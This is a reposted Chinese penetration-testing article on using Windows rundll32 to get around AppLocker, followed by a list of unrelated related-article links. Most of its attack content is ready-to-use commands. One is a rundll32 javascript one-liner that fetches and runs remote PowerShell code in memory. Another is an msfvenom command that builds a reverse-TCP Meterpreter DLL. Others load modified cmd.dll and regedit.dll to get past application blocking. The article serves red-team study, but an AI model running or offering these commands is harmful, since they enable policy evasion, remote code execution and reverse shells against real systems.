本文讲的是绕过AppLocker系列之Rundll32的利用,Rundll32是一个可以执行DLL文件内的代码的Microsoft二进制文件。由于此实用程序是Windows操作系统的一部分,因此可以将其用作一种绕过AppLocker规则或软件限制策略的方法。所以如果系统环境没有正确的锁定某些设置,那么用户就可以使用这个二进制文件做一些事情,他们也可以编写自己的DLL,来绕过任何限制或执行恶意的JavaScript代码。

Rundll32 – JavaScript

可以使用rundll32这个二进制文件来执行已经嵌入有效载荷并且托管在Web服务器上的JavaScript代码。Metasploit的Web传递模块可以快速的创建一个将用于特定有效负载(Python,PHP或PowerShell)的Web服务器。在本文的演示中,有效负载用的是PowerShell。

exploit/multi/script/web_delivery

Web Delivery模块配置

需要从cmd中执行以下命令。如果命令提示符被锁定而不能运行,可以使用下面描述的方法解锁cmd。

rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

Rundll32 执行 JavaScript代码

Rundll32将执行任意代码,并返回一个Meterpreter会话。这样做的好处是,不需要在磁盘上写文件就可以绕过AppLocker规则。但是PowerShell要允许在系统上运行才行。

Web Delivery有效载荷

Rundll32 – Meterpreter

可以使用Metasploit 的Msfvenom来创建一个包含meterpreter有效载荷的自定义DLL文件:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.100.3 LPORT=44444 -f dll -o pentestlab.dll

Msfvenom DLL生成

然后,rundll32实用程序就可以加载并执行pentestlab.dll文件中的有效载荷。

rundll32 shell32.dll,Control_RunDLL C:Userspentestlab.dll

利用Rundll32执行DLL绕过AppLocker

获取到一个meterpreter 会话。

Rundll32 返回的 Meterpreter会话

运行cmd

在通过AppLocker规则锁定禁止cmd运行的Windows系统中,可以通过将恶意DLL文件注入到合法的进程来绕过此限制。Didier Stevens通过使用从ReactOS开源项目获得的变种,以DLL文件的形式发布了一个修改版本的cmd。

AppLocker禁止cmd运行

由于rundll32是受信任的Microsoft实用程序,因此可以将cmd.dll加载到进程中,执行DLL中的代码,因此这样就可以绕过AppLocker规则并打开cmd。以下两个命令可以在Windows中执行:

rundll32 C:cmd.dll,EntryPoint rundll32 shell32.dll,Control_RunDLL C:cmd.dll

Rundll32 – DLL加载入口点函数

Rundll32 – DLL加载Control Run函数

代码将通过rundll32执行,之后会打开一个cmd窗口。

Rundll32 –绕过cmd禁止运行的限制

注册表

相同的绕过技术也可以应用在注册表被锁定禁止运行的系统中。Didier Stevens还发布了一个修改版本的注册表编辑器,形式也是一个DLL文件,和上面提到的修改过的cmd是一样的。

AppLocker – 注册表被阻止运行

以下命令可以通过rundll32加载并运行regedit.dll,可以绕过AppLocker规则。

rundll32 C:regedit.dll,EntryPoint rundll32 shell32.dll,Control_RunDLL C:regedit.dll

AppLocker – Rundll32运行注册表程序

绕过AppLocker – 打开了注册表程序

绕过AppLocker –通过 Rundll32解锁运行注册表程序

原文发布时间为:2017年6月27日
本文作者:丝绸之路
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
原文链接

绕过AppLocker系列之Rundll32的利用相关推荐

  1. 绕过AppLocker系列之MSBuild的利用

    本文讲的是绕过AppLocker系列之MSBuild的利用,Microsoft已经在.NET框架中发布了许多可以编译和执行代码的二进制文件.最初引入了MSBuild,以便开发人员在不安装Visual ...

  2. 如何利用msxsl绕过AppLocker?

    本文讲的是如何利用msxsl绕过AppLocker?, 0x00 前言 Casey Smith@subTee在twitter分享的一个技巧,使用包含微软签名的msxsl.exe能够执行JScript代 ...

  3. keras系列︱迁移学习:利用InceptionV3进行fine-tuning及预测、完美案例(五)

    之前在博客<keras系列︱图像多分类训练与利用bottleneck features进行微调(三)>一直在倒腾VGG16的fine-tuning,然后因为其中的Flatten层一直没有真 ...

  4. ROS系统MoveIt玩转双臂机器人系列(三)--利用controller控制实际机器人

    ROS系统MoveIt玩转双臂机器人系列(三)--利用controller控制实际机器人 注:本篇博文全部源码下载地址为:Git Repo. 1. 下载到本地后解压到当前文件夹然后运行:catkin_ ...

  5. 统计系列(四)利用Python进行假设检验

    统计系列(四)利用Python进行假设检验 z检验 主要应用场景:在大样本量的总体比例检验 核心:两样本的总体比例差异 单样本比例检验 # 检验样本合格率与0.38是否有差异 import numpy ...

  6. 统计系列(三)利用Python进行参数估计

    统计系列(三)利用Python进行参数估计 点估计 样本均值估计为总体均值,样本比例估计为总体比例. import numpy as npx = [1, 1, 0, 1, 0, 0, 1, 0, 1, ...

  7. 风险管理系列课程二:利用图技术优化反洗钱解决方案

    风险管理系列课程 随着相互关联的全球金融市场在规模和复杂性上快速增加,风险评估和监控所面临的挑战变得日益艰巨.一些复杂的金融工具数量激增,如信用违约互换和抵押担保证券,而且一旦出错,就会付出数以万亿的 ...

  8. 【Linux_Fedora_应用系列】_3_如何利用Smplayer播放WMV格式的文件

    在上一篇我们成功安装了视频播放器,并且成功安装里解码器[Linux_Fedora_应用系列]_2_如何安装视频播放器和视频文件解码 安装完的Smplayer的GUI的界面程序,可以播放FLV.AVI. ...

  9. VARCHART XGantt系列教程:如何利用颜色来丰富甘特图智能

    VARCHART XGantt是一款功能强大的甘特图控件.其模块化的设计让您可以创建满足您和您的客户所需求的应用程序(我们领先的甘特图控件VARCHART XGantt可用于DotNET,Active ...

  10. python微信爬取教程_PYTHON爬虫之旅系列教程之【利用Python开发微信公众平台一】...

    感谢大家的等待,好啦,都准备好瓜子.板凳,老司机要发车啦-- 本系列课程讲述"PYTHON爬虫之旅",具体大纲可参考:[PYTHON爬虫之旅]概要目录. 本节课讲述如何利用Pyth ...

最新文章

  1. 米家电磁炉显示e10_小米“米家电磁炉C1”评测:7挡火力,2100W大功率设计
  2. 34 多线程同步之Event
  3. OpenCASCADE:OCAF 使用
  4. 人行二代征信报告模版_人行首度明确,替代数据纳入征信管理!美化信用报告,难了...
  5. 使用Spring MVC应用程序配置嵌入式H2控制台
  6. Computer Vision News
  7. 什么是智慧仓储化管理系统?
  8. Android studio 导包时,容易出现的问题【包括最新版本的问题】
  9. android camera实例
  10. 深度学习样本标完后图片增强标签内容不变
  11. 景观平面图转鸟瞰图_嘉兴施工图设计说明及要求规范嘉兴建筑方案设计嘉兴钢结构加固设计需要什么资质嘉兴开门洞加固设计嘉兴如何看懂平面图嘉兴效果图制作视频...
  12. 【OpenVP* 】Centos 部署OpenVP* 证书+多客户端+密码认证
  13. L18-python语法基础-数据类型的基本操作(d5)
  14. 你想拥有一台可以水下通话的手机吗?
  15. D语言和Go语言有前途吗?
  16. Vim、Shell及Linux命令的高效使用
  17. 让程序员“#*...%#{4*”的瞬间:你是修电脑的吧?
  18. 第五人格周四服务器维护中,第五人格本周四维护内容
  19. oraclel 存储过程优化方法概论
  20. 想要打印大量Word文档在哪里打印比较便宜

热门文章

  1. 一个屌丝程序猿的人生(一百二十)
  2. LF-YOLO: A Lighter and Faster YOLO for Weld Defect Detection of X-ray Image
  3. mysql 查询本月所有天数统计对应数据
  4. 基于机器学习和深度学习的图数据异常检测综述
  5. 实验室装水的容器叫什么_实验室常见的水的种类
  6. c程序怎样往mysql里面添加字符串指针指向的字符串
  7. Redis集群搭建——新手上路
  8. python爬虫01-get请求,post请求,参数拼接,re正则解析,bs解析,xpath解析xml及html文件,requests进阶模拟登录,反盗链zhuanqu,代理
  9. ★中国富豪掘第一桶金的九大方式 ★
  10. 2020湖南省技能竞赛获奖名单_2020年全国职业院校技能大赛教学能力比赛落幕 湖南获一等奖数量排全国第一...